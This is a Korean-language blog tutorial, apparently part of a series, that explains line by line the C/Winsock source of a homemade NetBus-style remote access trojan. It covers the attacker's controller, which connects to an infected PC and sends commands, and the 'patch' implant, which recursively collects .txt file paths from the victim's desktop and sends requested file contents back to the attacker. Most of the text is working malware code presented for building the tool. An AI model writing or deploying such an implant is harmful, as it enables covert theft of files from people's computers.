이 MSG_WAITALL 옵션은 데이터를 MSDN에도 설명이 나와있습니다만 간단히 설명드리자면 recv함수를 호출할 때 제공한 버퍼의 데이터가 꽉 찼을 경우에만 recv 함수가 완료되도록 하는 기능입니다. 지금의 우리에게 필요한 기능이지요. 다만 이 옵션을 사용할려면 해당 소켓의 모드가 블로킹방식이어야 합니다. 그래서 우리는 이 옵션을 사용하기 위해 앞의 ioctlsocket함수를 호출하여 소켓을 블로킹모드로 지정한 것입니다.

설명이 길어졌군요. 다음 코드를 살펴봅시다.

- if(Recvstr < 0)

break;

recv함수로 받은 데이터의 크기값이 0보다 작을 경우 에러가 발생한 것이므로 switch문을 탈출합니다.

- switch(_strcmp(G_String.str))

데이터를 받았으므로 그 데이터에 따라 처리를 다르게 해주기 위해 switch문을 사용하였습니다. 이 때 구분하는 값은 G_String의 str멤버변수를 인자로 받는 _strcmp함수의 반환값입니다.

- case 0:

createTXT(G_String.txtStrings);

G_String.str의 문자열이 "filefind - txt" 인 경우 createTXT함수를 호출합니다. 이 때 인자는 감염자의 PC로부터 가져온 텍스트 파일들의 경로입니다.

- case 1:

G_String.str의 문자열이 "filecopy - getTXTsize" 인 경우의 처리부문이지만 아직 구현하진 않았습니다. 

- case 2:

copyTXT();

G_String.str의 문자열이 "filecopy - txtcopycomplete" 인 경우 copyTXT함수를 호출합니다.

- case 3:

      MessageBox(G_fileCopyDlg,L"파일의 크기가 0 혹은 너무 커 복사가 불가능합니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - sizeError" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 4:

MessageBox(G_fileCopyDlg,L"해당 파일이 삭제되었거나 파일경로가 잘못되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - txtnotfound" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 5:

MessageBox(G_fileCopyDlg,L"해당 파일의 접근이 거부되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - ACCESS_DENIED" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 999:

그 외의 메세지인 경우 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

받은 메세지를 다 처리한 경우 다시 이벤트를 받기 위해 WSAAsyncSelect함수를 호출합니다. 이 때 소켓은 다시 비블로킹 동작으로 지정됩니다.

- case FD_CLOSE:

FD_CLOSE 이벤트를 받았을 경우 아래의 코드를 수행합니다. FD_CLOSE 이벤트는 서버와의 연결이 끊겼을 때 발생하는 이벤트입니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_connectB버튼과 결과창의 텍스트를 초기화시킵니다.

- closesocket(G_Socket);

  WSACleanup();

  EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

소켓의 사용을 종료하고 명령을 내리는 버튼들을 비활성화시킵니다.

- EndDialog(G_filefindDlg,NULL);

  EndDialog(G_fileCopyDlg,NULL);

만약 열려진 대화상자가 있으면 종료시킵니다.

- case WM_PAINT:

hdc = BeginPaint(hWnd,&ps);

TextOut(hdc,363,12,L"포트:",lstrlen(L"포트:"));

EndPaint(hWnd,&ps);

WM_PAINT메세지에선 포트 라는 글자를 출력합니다.

- BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번에는 파일 찾기 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- switch(Message)

case WM_INITDIALOG:

G_filefindDlg = hWnd;

생성될 때 대화상자의 핸들을 전역변수에 저장시킵니다.

- case WM_COMMAND:

switch(wParam)

case txt:

EnableWindow(GetDlgItem(hWnd,txt),FALSE);

memset(&G_String,0,sizeof(G_String));

strcpy(G_String.str,"filefind - txt");

send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

대화상자의 txt버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 str멤버변수에 filefind - txt문자열을 넣고 send함수를 이용하여 감염자 소켓으로 데이터를 전송합니다. send함수 또한 recv랑 비슷한 인자입니다.

- case WM_CLOSE:

EndDialog(hWnd,NULL);

닫기버튼을 누르면 대화상자를 종료합니다.

- BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번엔 파일 복사 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- TCHAR str3[256] = L"";

  int str_len;

사용자로부터 입력 받은 경로를 저장할 변수 str3과 그 문자열을 멀티바이트로 변환시킬 때 필요한 변수 str_len을 선언합니다.

- case WM_COMMAND:

switch(wParam)

case copy:

EnableWindow(GetDlgItem(hWnd,copy),FALSE);

memset(&G_String,0,sizeof(G_String));

SendDlgItemMessage(hWnd,copypath,WM_GETTEXT,255,(LPARAM)str3);

str_len = WideCharToMultiByte(949,NULL,str3,lstrlen(str3),NULL,NULL,NULL,NULL);

WideCharToMultiByte(949,NULL,str3,lstrlen(str3),G_String.str2,str_len,NULL,NULL);

대화상자의 copy버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 copypath로부터 경로 문자열을 가져와 str3에 저장시킨 후 멀티바이트로 변환시켜 str2멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txt");

str멤버변수에 filecopy - txt를 넣습니다.

- send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

해당 구조체를 감염자 소켓으로 전송합니다.

네 여기까지가 넷버스 코드의 마지막 부분이었습니다. 다음 포스팅에서는 감염자의 PC에서 실행되는 패치의 코드를 살펴봅시다.


Posted by englishmath

안녕하십니까 이번 포스팅에서는 감염자의 PC에서 실행되는 patch프로그램에 쓰인 함수들을 한 번 살펴보겠습니다.

- int _strcmp(char *str1);

공격자(클라이언트)로부터 메세지를 받았을 때 메세지에 따라 처리를 다르게 해주기 위해 만든 함수입니다.

- void txtfileSend(void);

자신의 바탕화면과 바탕화면의 하위폴더에 있는 txt파일들을 전부 찾아 그 경로들을 저장시키는 함수입니다.

- void txtfileCopy(void);

공격자로부터 받은 파일경로를 토대로 해당하는 파일을 찾아 데이터를 복사해주는 함수입니다.

- int _strcmp(char *str1)

공격자의 소켓으로부터 데이터를 받았을 때 메세지에 따라 처리를 다르게 해주는 함수입니다. 원리는 넷버스(공격자)의 _strcmp함수와 동일합니다.

- void txtfileSend(void)

이 프로그램이 실행되고 있는 PC 즉 감염자의 PC에서 txt파일을 찾아 그 경로를 저장시켜주는 함수입니다. 대상 txt파일은 바탕화면과 바탕화면의 하위폴더에 들어있는 txt파일 입니다.

- TCHAR PATH[500] = L"",temp[256] = L"";

FindFirstFile함수의 사용과 파일의 확장자를 저장하기 위해 TCHAR형 배열을 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수 사용을 위해 WIN32_FIND_DATA 구조체 변수를 선언합니다. 이 구조체는 앞 포스팅 중 메모장 부분에 자세히 나와 있습니다.

- HANDLE file;

찾은 파일의 핸들을 저장하기 위해 HANDLE형 변수를 선언합니다.

- int i,j,str_len,Error;

for문에 사용할 i,j와 WideCharToMultiByte함수에 사용할 str_len, 그리고 에러코드를 저장할 변수 Error를 선언합니다.

- wsprintf(PATH,L"%s*.*",G_PATH);

G_PATH에 저장된 문자열을 %s*.*형식으로 바꾸어 PATH에 저장시킵니다. G_PATH는 현재 사용자의 데스크탑의 경로를 저장하고 있는 전역변수이며 기본적으로 

"C:\\Users\\사용자명\\Desktop\\" 값이 들어가 있습니다. 이 상태로 이 코드를 수행하게 되면 PATH에는 C:\\Users\\사용자명\\Desktop\\*.*가 저장되어집니다.

- file = FindFirstFile(PATH,&WFD);

위에 저장된 PATH를 바탕으로 FindFirstFile함수를 호출합니다. 이 함수는 앞 포스팅의 메모장 부분에서도 쓰였던 함수이며 PATH에 해당하는 파일을 찾아 그 파일의 핸들을 반환합니다. 이 때 그 파일의 속성이 WFD 구조체의 각 멤버변수에 저장됩니다.

추가로 파일명이 아닌 확장자가 경로명에 들어있으면 해당하는 확장자의 파일을 찾게 됩니다.

ex) C:\\Users\\사용자명\\Desktop\\*.txt -> 바탕화면에 있는 txt파일

     C:\\Users\\사용자명\\Desktop\\*.* -> 바탕화면에 있는 모든 파일

- while(file != INVALID_HANDLE_VALUE)

FindFirstFile의 결과가 INVALID_HANDLE_VALUE가 아니면 아래의 코드를 반복합니다.

INVALID_HANDLE_VALUE는 파일을 찾지 못했을 때 FindFirstFile이 반환하는 값입니다.

- if(lstrlen(WFD.cFileName) > 4)

j=4;

for(i=0;i<4;i++)

temp[i] = WFD.cFileName[lstrlen(WFD.cFileName)-j];

j--;

파일을 정상적으로 찾았다면 if문을 이용하여 WFD구조체의 cFileName멤버의 길이를 검사합니다. cFileName멤버는 파일의 이름이 저장되어있는 멤버입니다.

lstrlen함수를 사용하여 찾은 파일의 이름이 5자 이상일 경우(확장자 포함) 확장자를 추출하기 위해 다음 코드를 수행합니다.

확장자는 보통 4개의 글자로 이루어져 있으므로 (.txt,.exe) j값에 4를 대입한 후 for문을 이용하여 cFileName에 들어있는 파일이름의 뒷부분 4글자를 차례대로 가져와 temp에 저장시킵니다.

예를 들어 파일명이 abc.txt가 있으면

temp[0] = WFD.cFileName[7-4] --> temp[0] = WFD.cFileName[3](.)

temp[1] = WFD.cFileName[7-3] --> temp[1] = WFD.cFileName[4](t)

temp[2] = WFD.cFileName[7-2] --> temp[2] = WFD.cFileName[5](x)

temp[3] = WFD.cFileName[7-1] --> temp[3] = WFD.cFileName[6](t)

이런식으로 작동하게 됩니다.

즉 위 코드가 정상적으로 수행이 된다면 최종적으로 temp에는 .txt가 저장되어집니다.

- if((WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY && lstrcmp(WFD.cFileName,L".") != 0) && lstrcmp(WFD.cFileName,L"..") != 0)

위의 if문과는 별개로 또 다시 if문을 사용하여 이번엔 파일의 속성을 검사합니다. 위의 조건문을 풀이해보자면 다음과 같습니다.

WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY  -> 해당 파일이 폴더이고

lstrcmp(WFD.cFileName,L".") != 0 -> 파일명이 .이 아니어야 하며

lstrcmp(WFD.cFileName,L"..") != 0 -> 파일명이 ..이 아닐 때

즉 이부분은 검색한 파일이 폴더냐 아니냐를 체크하는 부분입니다. 다만 폴더라 하더라도 파일명이 .이나 ..이 아니어야 합니다. 파일명이 점으로 되어있는 폴더는 리눅스를 해보신 분은 아마 감이 잡히실 건데 점 하나로 되어있는 폴더는 현재 디렉토리를 의미하며 점이 두개로 되어있는 폴더는 상위 디렉토리를 의미합니다.

이러한 폴더들은 리눅스가 아니라 윈도우에서도 존재하고 있으며 대부분 숨김폴더로 정해져있어 아마 보지 못하셨을 겁니다. 아무튼 우리는 이러한 폴더들을 사용할 필요가 없으므로 일부러 제외시켰습니다.

- wsprintf(G_PATH,L"%s%s\\",G_PATH,WFD.cFileName);

위의 if문에 해당하는 폴더일 경우 G_PATH와 폴더명을 이용하여 %s%s\\형식으로 바꾼 후 다시 G_PATH에 저장시킵니다. 

예를 들어 a라는 폴더가 있다면

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName -> a 일때 wsprintf함수를 수행하면 

G_PATH에는 C:\\Users\\사용자명\\Desktop\\a\\가 저장되어집니다.

- txtfileSend();

G_PATH가 다시 재정의 되었으면 자기 자신의 함수를 호출합니다. 즉 이것은 바탕화면에서 폴더를 찾았을 경우 그 폴더로 들어가 다시 파일을 찾는 것을 구현한것입니다. 추가로 함수 내에서 자기 자신의 함수를 호출하는 함수를 재귀함수라고 합니다.

예를 들어 G_PATH가 C:\\Users\\사용자명\\Desktop\\a\\일때 자기 자신의 함수를 호출하면 다음과 같이 처음부터 다시 코드를 수행하게 되는 겁니다.

wsprintf(PATH,L"%s*.*",G_PATH) 수행 -> G_PATH는 전역변수라 값이 바껴진 상태

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.*

그리고 다시 file = FindFirstFile(PATH,&WFD) 코드를 수행하게 되는 것이지요.

- for(i=lstrlen(PATH)-1;i>=0;i--)

재귀함수가 호출되서 처리를 다하고 나면 for문을 수행하여 G_PATH의 값을 재정의합니다. 왜냐하면 a라는 폴더에서 파일을 다 찾으면 다시 이전의 폴더로 돌아가야 하기 때문이지요. 이해를 쉽게 하기 위해 알고리즘을 다시 한번 살펴봅시다.

PATH -> C:\\Users\\사용자명\\Desktop\\*.* 일 때 검색한 파일이 폴더(a)라면

G_PATH를 C:\\Users\\사용자명\\Desktop\\a\\로 바꾸고 재귀함수 호출

그러면 재귀함수가 호출되면서 

PATH(두번째)가 C:\\Users\\사용자명\\Desktop\\a\\*.*로 재정의됩니다.

여기까지는 아까 설명한 부분입니다. 자 그러면 폴더 내의 파일을 다 찾은 경우에는 어떻게 될까요?

폴더내의 파일을 다 찾으면 호출한 재귀함수가 종료됩니다. 그러면 다시 원래의 재귀함수를 호출한 부분으로 되돌아 오겠지요? 그런데 여기 중요한 점은 재귀함수의 호출이 종료되면 PATH의 값이 재귀함수를 호출하기 전의 값으로 되돌아옵니다. 즉

재귀함수가 호출되었을 때 

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.* 이었다면

재귀함수가 종료되었을 때는 이전의 PATH값인

PATH -> C:\\Users\\사용자명\\Desktop\\*.*가 된다는 것이지요.

다만 PATH값이 돌아온다고 G_PATH값이 돌아오는 것은 아니기에 우리는 수동으로 G_PATH값을 원래대로 되돌릴 필요가 있습니다.

이를 위해 for문을 이용하여 PATH의 맨 뒷자리부터 검사를 시작합니다. 위의 i값을 현재 상황에 맞추어 본다면 

i = 25-1 -> 24가 대입되어 집니다. 물론 이값은 사용자명과 폴더 경로 명에 따라 달라질 수 있습니다. 이렇게 정의된 i가 -1이 될 때까지 하나씩 감소시키면서 아래의 코드를 수행합니다.

- if(PATH[i] == '\\')

현재 검사중인 i번째 자리의 PATH 문자 값이 \이면 아래의 코드를 수행합니다.

- if(i == lstrlen(PATH)-1)

break;

  else

PATH[i+1] = '\0';

break;

i값이 lstrlen(PATH)-1라면 break를 이용해 그냥 for문을 탈출합니다. 이 뜻은 PATH의 마지막 글자가 \이면 그냥 탈출한다는 뜻입니다. 

반대로 마지막 글자가 \가 아니라면 현재 \가 들어있는 인덱스의 다음 인덱스에 NULL값을 넣어 \을 PATH의 마지막 글자로 만들어줍니다.

이 코드가 수행되고 나면 PATH는 

C:\\Users\\사용자명\\Desktop\\ 이렇게 수정되어 집니다.

- lstrcpy(G_PATH,PATH);

바뀐 PATH값을 G_PATH에 넣어 재귀함수를 호출 하기 전의 G_PATH값으로 되돌립니다.

- else if(lstrcmp(temp,L".txt") == 0)

위의 큰 if문이 폴더를 찾았을 때의 처리라면 이 부분은 폴더가 아닌 파일을 찾았을 때의 처리입니다. 찾은 파일이 폴더가 아니라면 if문을 이용해 찾은 파일의 확장자를 검사합니다. 그리고 그 확장자(temp)의 값이 txt라면 아래의 코드를 수행합니다.

- wsprintf(PATH,L"%s%s",G_PATH,WFD.cFileName);

PATH의 값을 G_PATH와 WFD.cFileName값을 이용해 %s%s형식으로 수정합니다. 즉 

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName - > 1.txt

PATH -> C:\\Users\\사용자명\\Desktop\\1.txt

이렇게 됩니다.

- str_len = WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),G_String.txtStrings[G_txtfileSend_i],str_len,NULL,NULL);

유니코드 문자열인 PATH를 멀티바이트로 변환시켜 G_String.txtStrings[G_txtfileSend_i]에 저장시킵니다. 여기서 G_String.txtStrings은 나중에 send함수로 소켓에 보낼 구조체의 멤버를 뜻하며 G_txtfileSend_i는 G_String.txtStrings의 인덱스 값인 전역변수입니다. 초기에는 0으로 선언되어 있습니다. 이러한 작업을 해주는 이유는 send함수로 데이터를 보낼때에는 멀티바이트 형으로 보내야 하기 때문입니다.

- G_txtfileSend_i++;

하나의 텍스트파일 경로를 저장하였으면 G_txtfileSend_i를 하나 증가시키고 if문 처리가 끝이 납니다.

- FindNextFile(file,&WFD);

하나의 파일에 대한 처리가 끝났다면 FindNextFile함수를 호출하여 다음 파일을 찾습니다. FindNextFile함수를 살펴봅시다.

FindFirstFile 등으로 찾은 파일의 핸들을 이용하여 다음 파일을 찾게 해주는 함수입니다. 이 때 파일을 찾는 조건(필터)는 FindFirstFile과 동일합니다. 그리고 이 함수로 찾은 파일의 정보는 두번째 인자인 WFD에 들어가게 됩니다. 

- Error = GetLastError();

위의 FindNextFile함수와 관련된 에러코드를 Error에 집어넣습니다. 에러가 발생하지 않았다면 Error에는 0이 들어가 있으며 만약 에러가 발생하였다면 0 이외의 값이 들어가게 됩니다.

- if(Error == ERROR_NO_MORE_FILES)

SetLastError(1);

FindClose(file);

break;

Error의 값이 ERROR_NO_MORE_FILES일때의 처리입니다. 이 ERROR_NO_MORE_FILES값은 더 이상 찾을 파일이 없을 경우 FindNextFile함수가 발생시키는 에러입니다. 이 에러코드가 발생하면 검사중인 폴더 내의 파일을 다 찾았다는 뜻이므로 file의 핸들을 닫고 break문을 이용하여 while문을 탈출합니다.

한가지 특이한 점이 있다면 SetLastError함수를 사용하여 ERROR_NO_MORE_FILES 에러의  코드값을 1로 지정했다는 부분입니다. 이러한 작업을 해준 이유는 어떠한 폴더 내에서 파일을 다 찾아서 재귀함수를 종료하고 상위 폴더로 돌아간 후 다시 FindNextFile함수를 호출하면 파일을 다 찾지 않았음에도 불구하고 ERROR_NO_MORE_FILES라는 에러코드가 발생하기 때문입니다. 그래서 이를 방지하기 위해 ERROR_NO_MORE_FILES 에러코드를 1로 설정하여 ERROR_NO_MORE_FILES에러가 발생하였음에도 불구하고 GetLastError에서 아까 지정한 1을 반환함으로써 위의 if문을 처리하지 않도록 해주었습니다.

물론 진짜 파일이 없어서 발생하는 ERROR_NO_MORE_FILES에러는 SetLastError의 영향을 받지 않아 if문을 처리할 수 있습니다. 아직 자세한 이유는 모르겠습니다만 일단 이렇게 코딩을 하니 동작에는 지장이 없어서 쓰고 있습니다.

자 마지막으로 남은 함수를 살펴봅시다.

- void txtfileCopy(void)

이 함수는 공격자의 소켓으로부터 파일을 복사해달라는 데이터를 받았을 때 실행하는 함수이며 파일의 경로를 받아 그 경로에 해당하는 파일을 열어 데이터를 복사시키고 그 복사된 데이터를 공격자의 소켓에 전송해주는 역할을 합니다.

- int str_len;

멀티바이트로 받은 파일의 경로를 유니코드로 변환시키기 위해 선언한 변수입니다.

- HANDLE file,file2;

CreateFile함수의 핸들과 FindFirstFile의 핸들을 받을 변수 두개를 선언합니다.

- TCHAR Wstring[256] = L"";

유니코드 문자열을 저장할 변수 Wstring을 선언과 동시에 초기화 시킵니다.

- DWORD size;

ReadFile함수에 쓰일 DWORD형 변수를 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수의 인자인 WIN32_FIND_DATA형 구조체 변수를 선언합니다.

- str_len = MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),NULL,NULL);

  MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),Wstring,str_len);

공격자의 소켓으로부터 받은 파일 경로인 G_String의 멤버변수인 str2를 유니코드로 변환시켜 Wstring에 저장시킵니다.

- file = CreateFile(Wstring,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

Wstring에 저장된 경로를 이용하여 파일을 OPEN_EXISTING 옵션으로 엽니다. 

- if(file == INVALID_HANDLE_VALUE)

CreateFile함수가 파일을 불러오지 못해 file의 결과값이 INVALID_HANDLE_VALUE인 경우 아래의 코드를 수행합니다. 일종의 에러처리입니다.

- if(GetLastError() == ERROR_ACCESS_DENIED)

strcpy(G_String.str,"filecopy - ACCESS_DENIED");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

GetLastError함수를 호출하여 에러코드의 값이 ERROR_ACCESS_DENIED인 경우 

G_String.str에 filecopy - ACCESS_DENIED 문자열을 넣은 후 send함수를 호출하여 해당 구조체를 공격자 소켓(G_AcceptS)에 전송합니다. 이 send함수는 나중에 자세히 설명드리겠습니다.

- else

strcpy(G_String.str,"filecopy - txtnotfound");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

만약 위의 에러가 아니라면 문자열을 filecopy - txtnotfound로 바꿔서 전송합니다.

- return;

에러메세지를 공격자에 보내고 나면 return을 호출하여 함수를 종료합니다.

- G_String.size = GetFileSize(file,NULL);

파일을 정상적으로 여는데 성공하였다면 GetFileSize함수를 호출하여 size를 구해 size멤버 변수에 저장시킵니다.

- if(G_String.size >= 500000 || G_String.size == 0)

strcpy(G_String.str,"filecopy - sizeError");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

CloseHandle(file);

return;

이 때 파일의 크기가 데이터를 담는 배열(G_String.string[500000])보다 크거나 또는 size의 크기가 0일 경우 sizeError문자열을 공격자 소켓에 전송 후 핸들을 닫고 종료시킵니다.

- memset(G_String.string,0,sizeof(G_String.string));

복사한 데이터를 담을 G_String.string배열을 초기화시킵니다.

- ReadFile(file,G_String.string,G_String.size,&size,NULL);

해당 파일의 데이터를 G_String.size만큼 읽어 G_String.string에 저장시킵니다.

- file2 = FindFirstFile(Wstring,&WFD);

FindFirstFile함수를 호출해 아까 CreateFile함수로 연 파일을 찾습니다.

- memset(G_String.str2,0,sizeof(G_String.str2));

  str_len = WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),G_String.str2,str_len,NULL,NULL);

str2 멤버변수를 초기화시켜준 후 WFD의 멤버변수인 cFileName(파일 이름)을 멀티바이트로 변환시켜 str2 멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txtcopycomplete");

str 멤버변수에 텍스트 복사가 완료되었다는 문자열을 집어넣습니다.

- send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

해당 데이터가 들어있는 구조체를 공격자 소켓에 통째로 전송시킵니다.

- CloseHandle(file);

  FindClose(file2);

CreateFile의 핸들은 CloseHandle함수로 닫고 FindFirstFile의 핸들은 FindClose로 닫습니다.

네 이상으로 패치 함수의 포스팅을 마치겠습니다. 다음 포스팅에선 공격자가 쓰는 넷버스의 코드를 전부 살펴보도록 하겠습니다.

Posted by englishmath

안녕하십니까. 이번 포스팅에서는 넷버스를 만들때 사용한 함수들을 살펴보겠습니다. 

참고로 이 함수는 공격자가 사용하는 넷버스에 쓰인 함수들입니다.

- void Sconnect(char *address,int port);

소켓을 이용하여 감염자와 연결을 시도할 때 사용하는 함수입니다. 매개변수로 주소와 포트를 받습니다.

- int _strcmp(char *str1);

감염자의 소켓으로부터 메세지를 받았을 때 그 메세지의 내용에 따라 처리를 다르게 해주기 위해 사용하는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 메세지입니다.

- void createTXT(char str[][256]);

감염자의 소켓으로부터 받은 파일들의 경로를 txt파일로 생성해주는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 파일들의 경로입니다.

- void copyTXT(void);

뽑아낸 txt파일의 경로를 이용하여 txt파일을 복사해주는 함수입니다.

하나씩 살펴봅시다.

- void Sconnect(char *address,int port)

- WSADATA socketdata = {0};

WSADATA 구조체 변수 socketdata를 선언과 동시에 초기화시킵니다. 이 WSADATA구조체는 윈도우 소켓에 대한 정보를 저장하는 역할을 하며 일반적으로 WSAStartup함수를 사용하기 위해 선언합니다.

- struct sockaddr_in socketaddr = {0};

sockaddr_in 구조체 변수 socketaddr를 선언과 동시에 초기화시킵니다. sockaddr_in구조체는 소켓 주소와 관련된 구조체이며 특이하게도 다른 구조체와 다르게 앞에 struct을 붙여 선언합니다. 사용된 구조체의 멤버변수들을 한 번 살펴봅시다.

*sin_family 

주소 체계를 받는 멤버변수입니다. 보통 인터넷 주소 체계를 나타내는 값인 AF_INET을 값으로 받습니다.

*sin_port

해당 주소로 접속을 시도할 때 어떤 포트로 시도할것인지를 받는 멤버변수입니다.

*sin_addr

주소값을 받는 구조체 멤버 변수입니다. 실질적으로 주소를 받는 멤버변수는 sin_addr의 S_un구조체의 S_addr멤버변수입니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

WSAStartup함수를 호출합니다. 이 함수는 소켓을 사용하기 위해서는 무조건 호출해야 하는 함수로 윈도우즈 소켓과 관련된 DLL(winsock DLL)을 사용할 수 있도록 초기화해주는 역할을 합니다. 첫번째 인자는 DLL의 버전을 값으로 받으며 두번째 인자는 WSADATA 구조체의 포인터입니다.

즉 2.2버전의 dll을 사용하고 싶으시다면 위와 같이 MAKEWORD(2,2)를 값으로 집어넣어주면 됩니다.

- G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

socket함수를 호출하여 소켓을 생성한 후 전역변수인 G_Socket에 저장합니다. socket함수를 한 번 살펴봅시다.

소켓을 생성하여 SOCKET 자료형으로 반환해주는 함수입니다. 인자들을 한 번 살펴봅시다.

*af

주소체계를 값으로 받는 인자입니다. IPv4주소를 사용한다면 AF_INET 값을 줍니다.

*type

소켓의 타입을 값으로 받는 인자입니다. TCP통신을 사용할려면 SOCK_STREAM값을 줍니다.

*protocol

사용할 프로토콜을 값으로 받는 인자입니다. TCP프로토콜을 사용할려면 IPPROTO_TCP값을 줍시다.

- WSAAsyncSelect(G_Socket,G_Mainhwnd,WM_SOCKET,FD_READ | FD_CONNECT | FD_CLOSE);

WSAAsyncSelect함수를 호출하여 윈도우의 프로시저에서 네트워크 관련 이벤트를 메세지를 통해 응답할 수 있게 설정합니다. 일반 윈도우에서 여러 이벤트가 발생되면 WM_CREATE 등의 메세지가 발생하지요? 이와 동일하게 네트워크 관련 이벤트가 발생되었을 경우 사용자가 임의로 정한 메세지가 발생하도록 설정해주는 함수입니다.

WSAAsyncSelect함수를 한 번 살펴봅시다.

인자들을 한 번 살펴봅시다.

*SOCKET s

네트워크 이벤트가 발생하는 소켓을 인자로 받습니다. 여기서는 방금 만든 G_Socket을 값으로 주었습니다.

*HWND hWnd

네트워크 이벤트가 발생하였을 때 메세지를 받을 윈도우의 핸들입니다. 여기서는 넷버스의 핸들인 G_Mainhwnd값을 주었습니다.

*unsigned int wMsg

이벤트가 발생하였을 때 받을 메세지명입니다. 여기서는 WM_SOCKET값을 주었는데 이렇게 하면 나중에 네트워크 이벤트가 발생하였을 때 프로시저 함수에서 WM_SOCKET메세지를 발생시키게 합니다. 다만 이 인자의 자료형은 unsigned int 이어야 하므로 코드 앞 부분에  #define WM_SOCKET WM_USER+1을 추가하여 WM_SOCKET이 unsigned int형이 되도록 합니다.

WM_USER은 사용자가 임의로 메세지를 만들 때 반드시 사용해야 하는 값이며 보통 400을 의미합니다.

*long lEvent

사용자가 메세지를 받았을 때 어떠한 이벤트를 받을 것인지를 정하는 부분입니다. 여기서는 FD_READ, FD_CONNECT, FD_CLOSE 를 값으로 주어 WM_SOCKET메세지를 받았을 때 위 세개의 이벤트를 받을 수 있도록 설정합니다. 각 이벤트들은 다음과 같습니다.

FD_READ : 반대쪽 소켓에서 send함수를 호출하였을 때 발생하는 이벤트입니다.

FD_CONNECT : 반대쪽 소켓과 연결을 시도했을 때 발생하는 이벤트입니다.

FD_CLOSE : 반대쪽 소켓과의 연결이 끊겼을 때 발생하는 이벤트입니다.

- socketaddr.sin_family = AF_INET;

sin_family 멤버변수에 인터넷 주소 체계를 뜻하는 AF_INET값을 넣습니다.

- socketaddr.sin_addr.S_un.S_addr = inet_addr(address);

sin_addr구조체에 속한 S_un구조체의 S_addr멤버에 inet_addr함수를 호출한 결과값을 넣습니다. inet_addr함수를 살펴봅시다.

이 함수는 점(.)으로 표기된 ip주소를 unsigned long형으로 변환하여 반환합니다. 소켓구조체의 S_addr멤버변수에 값을 넣기 위해 사용하였습니다. 인자를 살펴봅시다.

*const char *cp

점으로 표기된 ip주소입니다. 여기서는 Sconnect함수의 매개변수인 address를 값으로 주었습니다.

- socketaddr.sin_port = htons(port);

sin_port멤버에 htons함수의 결과값을 넣습니다. htons함수를 살펴봅시다.

htons 함수는 인자로 받은 포트번호를 TCP/IP 통신에 맞게 정렬하여 반환해주는 함수입니다. 여기서는 Sconnect함수의 매개변수인 port를 인자로 사용하였습니다.

추가 설명을 드리자면 기본적으로 네트워크는 빅 엔디언 방식을 사용하고 있습니다. 그런데 리버싱을 해보신 분은 아시겠지만 기본적으로 CPU에서는 리틀 엔디언 방식을 사용하고 있기 때문에 이 리틀 엔디언 방식의 값이 그대로 네트워크로 가게 된다면 전송에 차질이 생길 수가 있습니다. 그렇기에 이러한 리틀 엔디언 값을 빅 엔디언 방식으로 바꾸어 줘야 하는데 이러한 기능을 해주는 함수가 위의 htons함수입니다.

리틀엔디언은 앞 포스팅인 codeengn - basic rce level 15에서도 한 번 언급하였습니다.

- connect(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

socketaddr구조체에 들어있는 정보를 토대로 connect함수를 호출하여 소켓 연결을 시도합니다. connect함수를 살펴봅시다.

